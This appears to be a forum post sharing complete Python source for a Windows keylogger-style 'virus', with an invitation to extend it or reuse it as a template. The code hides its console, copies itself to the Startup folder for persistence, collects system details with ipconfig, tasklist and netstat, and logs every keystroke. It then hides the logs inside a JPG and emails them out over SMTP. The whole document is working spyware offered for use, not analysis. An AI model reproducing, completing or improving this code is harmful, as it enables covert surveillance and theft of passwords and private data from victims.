So here's a virus a wrote a while ago, its well commented so just read through it.
However its wrote terribly, it looks a mess, its got bits that don't need to be there, two functions that do almost exactly the same thing, variable names that look the same as other variable names etc.
Clean it up if you wish, i'd like to see people add to it, or use it like a template (its kinda messy for a template)
However its wrote terribly, it looks a mess, its got bits that don't need to be there, two functions that do almost exactly the same thing, variable names that look the same as other variable names etc.
Code
#-------------------------------------------------------------------------------
# Name: V1RU5
# Purpose:
#
# Author: 21redallday12
#
# Created: 15/11/2012
#-------------------------------------------------------------------------------
# imports
import shutil
import os
import sys
import time
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import zipfile
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
import smtplib
from email.MIMEImage import MIMEImage
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
######################################################################
# SMTP FILE UPLOADER #
######################################################################
def Xsmtp():
try:
Xjpg = "c:/WINDOWS/xsmfdata/sunnyset.jpg"
msg = MIMEMultipart()
msg["Subject"] = "TEST SUBJECT!!!"
msg["From"] = "" # Enter address
msg["To"] = "" # Enter address
msg["Cc"] = "" # Add multiple recipients
body = MIMEText("Hello just seeing if this works?") # Enter body
img = MIMEImage(open(Xjpg,"rb").read(), _subtype="jpg")
img.add_header('Content-Disposition', 'attachment; filename="S.jpg"')
msg.attach(img)
msg.attach(body)
smtp = smtplib.SMTP("smtp.live.com", 587) # Enter smtp settings
smtp.starttls()
smtp.login("" , "") #Enter email address, passworrd
smtp.sendmail("", "", msg.as_string()) #Enter address
smtp.sendmail(msg["From"], msg["To"].split(",") + msg["Cc"].split(","), msg.as_string())
smtp.quit()
except:
pass
def emailuploader():
try:
Xjpg = "c:/WINDOWS/xsmfdata/sunnyset.jpg"
msg = MIMEMultipart()
msg["Subject"] = "TEST SUBJECT!!!"
msg["From"] = "" #Enter address
msg["To"] = "" #Enter address
msg["Cc"] = "" # Add multiple recipients
body = MIMEText("Hello just seeing if this works?")
img = MIMEImage(open(Xjpg,"rb").read(), _subtype="jpg")
img.add_header('Content-Disposition', 'attachment; filename="S.jpg"')
msg.attach(img)
msg.attach(body)
smtp = smtplib.SMTP("smtp.live.com", 587) #Enter smtp settings
smtp.starttls()
smtp.login("" , "") #Enter email address, pass
smtp.sendmail("", "", msg.as_string()) #Enter address
smtp.sendmail(msg["From"], msg["To"].split(",") + msg["Cc"].split(","), msg.as_string())
smtp.quit()
except:
try:
time.sleep(120)
Xsmtp() # instead of emailuploader, because if it fails it will sleep(120) and spin into a infinite loop
except():
pass
######################################################################
# (File manager), which will copy the whole virus.exe to the startup #
# Folder, so when the computer is restarted it will re-activate #
# the virus and all its components, It will also need to grab #
# a .JPG picture to copy all the logs to, ready for (FTP uploader) #
# to upload to the FTP. Which will make it almost impossible for #
# the FTP service providers to notice that there's logs inside #
# (USE THE OS.SYSTEM("copy /b file.txt + pic.jpg to output.jpg") #
######################################################################
# THIS CREATES A FOLDER TO PUT ALL YOU LOGFILES INTO AND THE INFECTED
# JPGS READYS TO BE UPLOADED TO FTP SERVER. PUT THIS FOLDER IN THE C:/WINDOWS
# PATH AND THINK OF A GOOD NAME FOR THE FOLDER "c:/WINDOWS/xsmfdata"
try:
if os.name=="nt":
wormdir = "c:/WINDOWS/xsmfdata" # CHANGE THIS TO YOUR WORMS PATH
if not os.path.exists(wormdir):
os.mkdir(wormdir) # Make dir,
except:
pass
# THIS COPYS THE VIRUS TO THE STARTUP FOLDER "ALL USERS", SO WHEN THE COMPUTER
# IS TURNED ON IT WILL AUTOMATTICILY START RUNNING. IF I COULD'NT COPY TO
# THE STARTUP FOLDER THEN PRINT INFO TO THE LOGFILE
def startupcopy():
os.getcwd()
cwd = os.getcwd()
FULLdir = sys.argv[0]
shutil.copy(FULLdir, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup")
def filehider():
os.chdir("C:/Documents and Settings/All Users/Documents/My Pictures/Sample Pictures/")
zf = zipfile.ZipFile("test.zip", mode='w')
os.chdir("C:/WINDOWS/xsmfdata/")
zf.write('logfile.txt')
zf.write('logs.txt')
os.chdir("C:/Documents and Settings/All Users/Documents/My Pictures/Sample Pictures/")
zf.close()
os.system("copy /b Sunset.jpg+test.zip sunnyset.jpg")
os.remove("test.zip")
os.chdir("c:/")
if os.path.exists("C:/WINDOWS/xsmfdata/sunnyset.jpg"):
os.remove("C:/WINDOWS/xsmfdata/sunnyset.jpg")
shutil.move("c:/Documents and Settings/All Users/Documents/My Pictures/Sample Pictures/sunnyset.jpg","C:/WINDOWS/xsmfdata/")
else:
shutil.move("c:/Documents and Settings/All Users/Documents/My Pictures/Sample Pictures/sunnyset.jpg","C:/WINDOWS/xsmfdata/")
######################################################################
# (Fingerprinter) that does commands like, ipconfig, if.path.exists. #
# To give the attack information about the victims computer #
# This also need to create a folder to put the logs in #
# Once the folder has been created, it will also be used by the #
# (Keylogger) and other programs #
# ONCE THE (FINGERPRINTS) HAS LOGGED ONE SET OF DATA MAKE SURE IT #
# DOES'NT RELOG ANY MORE DATA BY, IF PATH DOESNT EXIST THEN... #
######################################################################
# This simple does a list of commands, reads the what the cmd returns
# stores it in a variable and prints it on the screen
# later the variable is called to write to file
def FingerPRINTER():
if os.name=="nt":
version = os.popen("ver && time /t && date /t && ipconfig /all && tasklist && netstat -b") #tree c:/
XVersion = version.readlines()
version.close()
newline = "\n\n"
cwd = os.getcwd()
logfile = "c:/WINDOWS/xsmfdata/logfile.txt"
fingerprint1 = logfile
xfile = open(fingerprint1, 'w')
introline = XVersion
xfile.writelines(introline)
xfile.close()
######################################################################
# MAIN PROGRAM #
# #
######################################################################
try:
startupcopy()
except:
pass
try:
FingerPRINTER()
except:
pass
try:
filehider()
except:
pass
if os.path.exists("c:/WINDOWS/xsmfdata/sunnyset.jpg"):
try:
emailuploader()
except:
pass
######################################################################
# (Keylogger) that saves to a logfile, in the (fingerprints) folder #
# Which is created by the (fingerprinter) #
######################################################################
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
if not os.path.exists("c:/WINDOWS/xsmfdata/logs.txt"):
f1=open('c:/WINDOWS/xsmfdata/logs.txt', 'w')
f1.close()
def OnKeyboardEvent(event):
if event.Ascii==5:
# _exit(1)
exit()
if event.Ascii != 0 or 8:
f=open('c:/WINDOWS/xsmfdata/logs.txt','r')
buffer=f.read()
f.close()
f=open('c:/WINDOWS/xsmfdata/logs.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()Clean it up if you wish, i'd like to see people add to it, or use it like a template (its kinda messy for a template)
